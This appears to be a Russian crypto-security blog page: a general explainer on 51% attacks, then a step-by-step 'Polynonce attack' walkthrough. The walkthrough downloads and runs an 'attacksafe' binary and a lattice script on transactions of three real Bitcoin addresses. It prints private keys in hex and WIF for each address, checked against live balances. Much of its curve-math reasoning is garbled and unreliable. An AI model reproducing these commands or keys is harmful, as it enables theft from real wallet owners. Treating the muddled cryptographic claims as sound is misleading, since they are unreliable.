понедельник, 28 августа 2023 г.

Атака 51%: раскрытие уязвимости криптовалюты

 Атака 51%: раскрытие уязвимости криптовалюты

От

Исследование уязвимости, которая потрясает основу цифровых монет.

В динамичном мире криптовалют безопасность имеет первостепенное значение. Децентрализованный и прозрачный характер технологии блокчейн произвел революцию в том, как мы совершаем транзакции и взаимодействуем в цифровом формате. Однако, как и любая технологическая инновация, криптовалюты не застрахованы от уязвимостей. Среди множества угроз, которые нависают над крипто-ландшафтом, атака 51% выделяется как особенно коварный и потенциально разрушительный эксплойт. В этой статье мы углубимся в то, что влечет за собой атака 51%, ее последствия и меры по смягчению ее воздействия.

Атака 51%: раскрытие уязвимости криптовалюты

Понимание атаки 51%

В основе большинства криптовалют лежит децентрализованная сеть узлов, которые проверяют транзакции с помощью механизмов консенсуса, таких как Proof of Work (PoW) или Proof of Stake (PoS). Эти механизмы гарантируют легитимность и безопасность транзакций. Атака 51%, также известная как атака большинства, происходит, когда злоумышленник или группа захватывает более половины вычислительной мощности сети (в случае PoW) или поставленных токенов (в случае PoS). Этот контроль большинства дает им возможность манипулировать блокчейном в свою пользу.

Атака 51%: раскрытие уязвимости криптовалюты

Последствия атаки 51%

Последствия успешной атаки 51% могут быть глубокими и далеко идущими:

  1. Двойные расходы. Одним из наиболее тревожных результатов атаки 51% является возможность выполнения двойных расходов. Это означает, что злоумышленник может потратить одну и ту же криптовалюту несколько раз, подрывая фундаментальный принцип дефицита, который лежит в основе большинства криптовалют.
  2. Отмена транзакций. Благодаря мажоритарному контролю злоумышленник может отменить транзакции, по сути переписав историю блокчейна. Это может привести к хаосу и потере доверия к затронутой криптовалюте.
  3. Сетевой паралич: злоумышленник, обладающий мажоритарным контролем, может остановить транзакции и даже предотвратить добавление новых в блокчейн. Этот сбой может иметь серьезные экономические последствия и подорвать доверие инвесторов.
  4. Подрыв безопасности и доверия. Успешная атака 51% наносит ущерб восприятию безопасности и доверия к криптовалюте. Инвесторы и пользователи могут покинуть сеть, что приведет к значительному падению ее стоимости и распространенности.

Реальные примеры

Несколько криптовалют стали жертвами атак 51%, что подчеркивает серьезность этой угрозы:

  1. Bitcoin Gold (BTG): В мае 2018 года Bitcoin Gold подвергся атаке 51%, в результате которой были украдены BTG на миллионы долларов. Атака продемонстрировала уязвимость небольших криптовалют с меньшей мощностью хеширования.
  2. Ethereum Classic (ETC): Примечательно, что в 2020 году Ethereum Classic подвергся нескольким атакам 51%. Злоумышленники воспользовались более низкой скоростью хеширования сети и реорганизовали блокчейн, что привело к краже значительных объемов ETC.
  3. Verge (XVG): Verge стал жертвой атаки 51% в апреле 2018 года. Злоумышленники воспользовались несколькими уязвимостями для майнинга большого количества XVG и нарушения работы сети.

Смягчение и предотвращение

Хотя угроза атаки 51% сохраняется, криптосообщество предприняло шаги по смягчению ее последствий:

  1. Увеличение мощности хеширования. Криптовалюты могут повысить свою безопасность за счет увеличения вычислительной мощности, что делает приобретение контрольного пакета акций для злоумышленников непомерно дорогим.
  2. Расширенные механизмы консенсуса. Некоторые новые криптовалюты используют инновационные механизмы консенсуса, такие как делегированное доказательство доли (DPoS) и доказательство полномочий (PoA), чтобы снизить вероятность атак 51%.
  3. Мониторинг атак. Постоянный мониторинг сетевой активности позволяет обнаружить необычное поведение, указывающее на предстоящую атаку 51%. Это позволяет оперативно реагировать и принимать превентивные меры.
Атака 51%: раскрытие уязвимости криптовалюты

Что такое уязвимость блокчейна?

Уязвимость блокчейна относится ко всему, что может быть использовано хакером для эксплуатации протокола.

Одним из наиболее распространенных является риск централизации. Централизация часто создает единую точку отказа, которую хакеры могут использовать для получения доступа ко всей сети.

Уязвимости логических проблем требуют реструктуризации кода и могут относиться к ошибкам. Атаки с повторным входом — это хаки, использующие логические проблемы. Злоумышленник может обманом заставить смарт-контракт отправить уже отправленные средства.

Оптимизация газа важна по мере роста проектов. Газ, необходимый для проверки транзакций, может увеличиться настолько, что новые блоки больше не смогут быть проверены.

Результат оптимизации газа в ходе аудита безопасности CertiK определяет области, где количество газа можно уменьшить, не влияя на работу кода.

Уязвимости возникают во внешних конечных точках пересечения блокчейнов, известных как оракулы. Информация, передаваемая оракулами и их смарт-контрактами, может быть использована хакерами.

Межцепочные мосты возникли как жизненно важная инфраструктура, позволяющая пользователям перемещаться между блокчейнами. Уязвимости могут возникать из-за различий в правилах и организациях между цепочками.


Заключение

Атака 51% остается серьезной проблемой в сфере криптовалют, подчеркивая необходимость надежных мер безопасности и постоянной бдительности. Децентрализованная природа технологии блокчейна дала огромные преимущества, но она также требует постоянной адаптации к возникающим угрозам. Поскольку криптосообщество продолжает внедрять инновации и сотрудничать, цель состоит в том, чтобы защитить сети от потенциальных злоумышленников, обеспечивая постоянный рост и внедрение криптовалют в глобальном масштабе.

GitHub

Telegram: https://t.me/cryptodeeptech

Video: https://www.youtube.com/@cryptodeeptech

Source: https://cryptodeep.ru/blockchain-attack-vectors


Все известные атаки: "Blockchain Attack Vectors & Vulnerabilities to Smart Contracts"

 Криптоанализ

четверг, 17 августа 2023 г.

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

 CRYPTO DEEP TECH

В этой статье мы опять затронем тему: “Критической уязвимости Биткоина” и на всех трех примерах применим совершенно новую атаку 2023 года “POLYNONCE ATTACK”. Самые первые упоминание об этой атаке описано в статье от “Kudelski Security”.

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа
https://research.kudelskisecurity.com/2023/03/06/polynonce-a-tale-of-a-novel-ecdsa-attack-and-bitcoin-tears/

За практическую основу мы будем брать материалы из нашей ранней статьи Speed ​​up secp256k1 with endomorphism” где значения на кривой secp256k1 от Hal Finney  LAMBDA и BETA скрываю всю глубину неизвестности эллиптических кривых Биткоина.

Нам многое может открыть Binary number (4 digits): "1111" // Hex number"F" //

Также нам прекрасно известно, порядок кривой secp256k1 который состоит из 128 bits Binary number (4 digits): “1111” // Hex number: “F” //

n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141

1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111010111010101011101101110011100110101011110100100010100000001110111011111111010010010111101000110011010000001101100100000101000001
Мы видим что полинома как единица в бинарном коде произвольно высокой степени 128 bits по модулю
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Speed ​​up secp256k1 with endomorphism


Учитывая этот факт первоначальный бит приватного ключа Биткоина будет Binary number (4 digits): “1111” // Hex number: “F” //

За теоретическую основу мы будем брать материалы:

“Polynonce Attack on Bitcoin”


Рассмотрим пример с Биткоин Адресом:

1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

929d565c386a279cf7a0382ba48cab1f72d62e7cfb3ab97b4f211d5673bc4441

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

RawTX

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000

Перейдем на официальный сайт: https://colab.research.google.com

Выберем опцию “Upload notebook”
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Загрузим файл: POLYNONCE_ATTACK.ipynb

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Загрузим HEX-данные через утилиту echo и сохраним в файл: RawTX.txt
!echo '02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000' > RawTX.txt
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Чтобы реализовать атаку мы воспользуемся программным обеспечение

 “ATTACKSAFE SOFTWARE”

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
www.attacksafe.ru/software

Права доступа:

!chmod +x attacksafe

ls

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Применение:

!./attacksafe -help
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа
  -version:  software version 
  -list:     list of bitcoin attacks
  -tool:     indicate the attack
  -gpu:      enable gpu
  -time:     work timeout
  -server:   server mode
  -port:     server port
  -open:     open file
  -save:     save file
  -search:   vulnerability search
  -stop:     stop at mode
  -max:      maximum quantity in mode
  -min:      minimum quantity per mode
  -speed:    boost speed for mode
  -range:    specific range
  -crack:    crack mode
  -field:    starting field
  -point:    starting point
  -inject:   injection regimen
  -decode:   decoding mode

!./attacksafe -version
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа
Version 5.3.3. [ATTACKSAFE SOFTWARE, © 2023]

"ATTACKSAFE SOFTWARE" включает в себя все популярные атаки на Биткоин.

Запустим список всех атак:

!./attacksafe -list
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Выберем -tool: polynonce_attack

Чтобы получить определенные HEX значение R,S,Z к подписи ECDSA, мы ранее добавили данные RawTX через утилиту echo в текстовый документ и сохранили как файл RawTX.txt
02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000

Запустим -tool polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”


!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Мы запустили данную атаку из -tool polynonce_attack и результат сохранился в файл SignatureRSZ.csv

Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv


POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Для того чтобы рассчитать приватный ключ к Биткоин Кошельку из файла SignatureRSZ.csv мы установим SageMath

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Ранее мы опубликовали статью, скачаем tar-filesage-9.3-Ubuntu_20.04-x86_64.tar.bz2

!wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
!tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Перейдем по каталогу:
cd SageMath/

ls

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Запустим Python-script: relocate-once.py по команде:
!python3 relocate-once.py
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Переместим "AttackSafe" и "SignatureRSZ.csv" в папку "SageMath"
!mv '/content/attacksafe' '/content/SageMath/attacksafe'
!mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv'
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

ls
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа


Скачаем скрипт crack_weak_ECDSA_nonces_with_LLL.py от Dario Clavijo через утилиту wget 
!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/20PolynonceAttack/crack_weak_ECDSA_nonces_with_LLL.py
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Теперь запустим SageMath по команде:

!./sage -sh
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры 128 bits 4 sign
python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt

cat PrivateKey.txt

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Откроем файл: PrivateKey.txt

Мы получили приватный ключ к Биткоин Кошельку в HEX формате

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа
PrivKey = 0xf0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d

Проверим POLYNONCE для каждой подписи ECDSA

Для этого воспользуемся кодом из GITHUB

Результат:

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Мы получили четыре одинаковых первоначальных 128 bits
POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe
POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 f88ff4c8a9ea4b61b1e087d0c0988826
POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 6849e83cd03d103bcc37aca8323c8d2f
POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe

Благодаря значение на кривой secp256k1 от Hal Finney  LAMBDA и BETA раскрыл нам одинаковые первоначальные биты 128 bits так как первоначальные бит приватного ключа к Биткоин Кошельку начинается с Binary number (4 digits): "1111" // Hex number: "F" //


Проверим HEX приватного ключа:

Установим модуль bitcoin
!pip3 install bitcoin
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Запустим код:
from bitcoin import *

with open("PrivateKey.txt","r") as f:
    content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Откроем файл: PrivateKeyAddr.txt
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа
f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d:1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB

Откроем bitaddress и проверим:

ADDR: 1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB
WIF:  L5HV2GiosXifcmijGCpFWdYiMRuXh4x4JVK29urGjfAWyasBYoDX
HEX:  f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

https://www.blockchain.com/en/explorer/addresses/btc/1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB


POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

BALANCE: $ 3699.40


Рассмотрим остальные примеры:


2


Рассмотрим пример №2 с Биткоин Адресом:

137a6fqt13bhtAkGZWrgcGM98NLCotszR2

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

c1da9d117e15883ba41539f558ac870f53865ea00f68a8ff8bc7e8a9ee67099b

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

RawTX

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

010000000103ebc5c4b817124d45ad15e398ec32e9b9b7549c1fc10300ecbf36648c3cb5d42c0000006a47304402204e97dae0ab6e4eee9529f68687907c05db9037d9fbdba78dd01a3338a48d95b602207794cb7aa308243dfbdd5c20225777cd6e01bd7c4f76bf36948aa29290129c2b0121036360352efcff6a823eabb25578a29392eab4d302955fd54ece900578d2ab83b8ffffffff0162020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000

Удалим файлы с первого примера:
!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Загрузим HEX-данные через утилиту echo и сохраним в файл: RawTX.txt
!echo '010000000103ebc5c4b817124d45ad15e398ec32e9b9b7549c1fc10300ecbf36648c3cb5d42c0000006a47304402204e97dae0ab6e4eee9529f68687907c05db9037d9fbdba78dd01a3338a48d95b602207794cb7aa308243dfbdd5c20225777cd6e01bd7c4f76bf36948aa29290129c2b0121036360352efcff6a823eabb25578a29392eab4d302955fd54ece900578d2ab83b8ffffffff0162020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000' > RawTX.txt
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Запустим -tool polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”


!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Мы запустили данную атаку из -tool polynonce_attack и результат сохранился в файл SignatureRSZ.csv

Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv


POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Запустим SageMath по команде:


!./sage -sh
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры 128 bits 4 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt

cat PrivateKey.txt

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Откроем файл: PrivateKey.txt

Мы получили приватный ключ к Биткоин Кошельку в HEX формате

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа
PrivKey = 0xff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c

Проверим POLYNONCE для каждой подписи ECDSA

Для этого воспользуемся кодом из GITHUB

Результат:

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Мы получили четыре одинаковых первоначальных 128 bits
POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 c5f6da6334586ed2bdc88a05f37bcf95
POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 6f82fbd847c138ab48e778135e908149
POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 5541022f8aeac81e5ce62e018d1cd722
POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 80e88efaff419ecd84d7ded17dc548a7

Благодаря значение на кривой secp256k1 от Hal Finney  LAMBDA и BETA раскрыл нам одинаковые первоначальные биты 128 bits так как первоначальные бит приватного ключа к Биткоин Кошельку начинается с Binary number (4 digits): "1111" // Hex number: "F" //


Проверим HEX приватного ключа:

Запустим код:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
    content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Откроем файл: PrivateKeyAddr.txt

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Откроем bitaddress и проверим:

ADDR: 137a6fqt13bhtAkGZWrgcGM98NLCotszR2
WIF:  L5mQfFuzR3rzLtneJ7Tcv64JrHjCpK64UN4JRdGDxCUTbQ8NfHxo
HEX:  ff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

https://www.blockchain.com/en/explorer/addresses/btc/137a6fqt13bhtAkGZWrgcGM98NLCotszR2


POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

BALANCE: $ 1133.73


Рассмотрим остальные примеры:


3


Рассмотрим пример №3 с Биткоин Адресом:

1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

fa80af660fc444d87853137506df02e5c75e8c2bf75dc44589b60356867a6d98

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

RawTX

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

01000000016eb80d35b08164302e49f88d8f86bf2827a91a5650149be38f4f73751ff41437060000006a473044022043d4c025a0f3be366a0d768c721b9b9191e0c3db6f2c6bfe34e8fb24af7f379102205a4fe2cc6944e00309c35619ff1242301b84d4728b863f97326f56dbd7a782220121027ccccf5f56ed78c2a761721ff3da0f76b792fbe4eae2ac73e7b4651bc3ef19cdffffffff01c057010000000000232103bec42e5d718b0e5b3853243c9bcf00dd671a335b0eb99fd8ca32f8d5784a9476ac00000000

Удалим файлы со второго примера:
!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Загрузим HEX-данные через утилиту echo и сохраним в файл: RawTX.txt
!echo '01000000016eb80d35b08164302e49f88d8f86bf2827a91a5650149be38f4f73751ff41437060000006a473044022043d4c025a0f3be366a0d768c721b9b9191e0c3db6f2c6bfe34e8fb24af7f379102205a4fe2cc6944e00309c35619ff1242301b84d4728b863f97326f56dbd7a782220121027ccccf5f56ed78c2a761721ff3da0f76b792fbe4eae2ac73e7b4651bc3ef19cdffffffff01c057010000000000232103bec42e5d718b0e5b3853243c9bcf00dd671a335b0eb99fd8ca32f8d5784a9476ac00000000' > RawTX.txt
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Запустим -tool polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”


!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Мы запустили данную атаку из -tool polynonce_attack и результат сохранился в файл SignatureRSZ.csv

Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv


POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Запустим SageMath по команде:


!./sage -sh
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры 128 bits 4 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt

cat PrivateKey.txt

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Откроем файл: PrivateKey.txt

Мы получили приватный ключ к Биткоин Кошельку в HEX формате

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа
PrivKey = 0xfbc50a7158b3d9fd7fd58fe0874f20c10c650975dc118163debf442a44203fdf

Проверим POLYNONCE для каждой подписи ECDSA

Для этого воспользуемся кодом из GITHUB

Результат:

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Мы получили четыре одинаковых первоначальных 128 bits
POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 fbc50a7158b3d9fd7fd58fe0874f20c1
POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 d4de8d539655ecf0d50fd32187c3c467
POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 6726aea1a6fd64d82dc657670352de72
POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 89df16fd387156b39adca9a92464de18

Благодаря значение на кривой secp256k1 от Hal Finney  LAMBDA и BETA раскрыл нам одинаковые первоначальные биты 128 bits так как первоначальные бит приватного ключа к Биткоин Кошельку начинается с Binary number (4 digits): "1111" // Hex number: "F" //


Проверим HEX приватного ключа:

Запустим код:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
    content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Откроем файл: PrivateKeyAddr.txt

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Откроем bitaddress и проверим:

ADDR: 1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt
WIF:  L5f7p5bReuXLm3d7rFkpPyGQ1GNpiGuj8QuQ6rNCKXC9bs3J9GEY
HEX:  fbc50a7158b3d9fd7fd58fe0874f20c10c650975dc118163debf442a44203fdf
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

https://www.blockchain.com/en/explorer/addresses/btc/1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt


POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

BALANCE: $ 459.24


Literature:

  • A Novel Related Nonce Attack for ECDSA, Marco Macchetti [Kudelski Security, Switzerland] (2023)
  • Gallant, Robert P., Robert J. Lambert, and Scott A. Wanston. “Faster point multiplication on elliptic curves with efficient endomorphisms” . Annual International Conference on Cryptology, pp. 190–200. Springer, Berlin, Heidelberg, (2001)
  • Hankerson, Darrell, Alfred J. Menezes, and Scott Wanston. “A Guide to Elliptic Curve Cryptography” . Computer Reviews 46, no. 1 (2005)
  • Hal Finney. bitcointalk –  “Acceleration of signature verification” . (2011)  https://bitcointalk.org/index.php?topic=3238.0
  • Blahut, Richard E.  “Cryptography and Secure Communication” . Cambridge University Press, (2014)


Исходный код

ATTACKSAFE SOFTWARE

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/7nKs_KHtyn4

Источник: https://cryptodeep.ru/polynonce-attack


POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

Digital Signature Forgery Attack: как уязвимости CVE-2025-29774 и баг SIGHASH_SINGLE угрожают мультиподписным кошелькам методы операции с поддельными RawTX

  Digital Signature Forgery Attack: как уязвимости CVE-2025-29774 и баг SIGHASH_SINGLE угрожают мультиподписным кошелькам методы операции с ...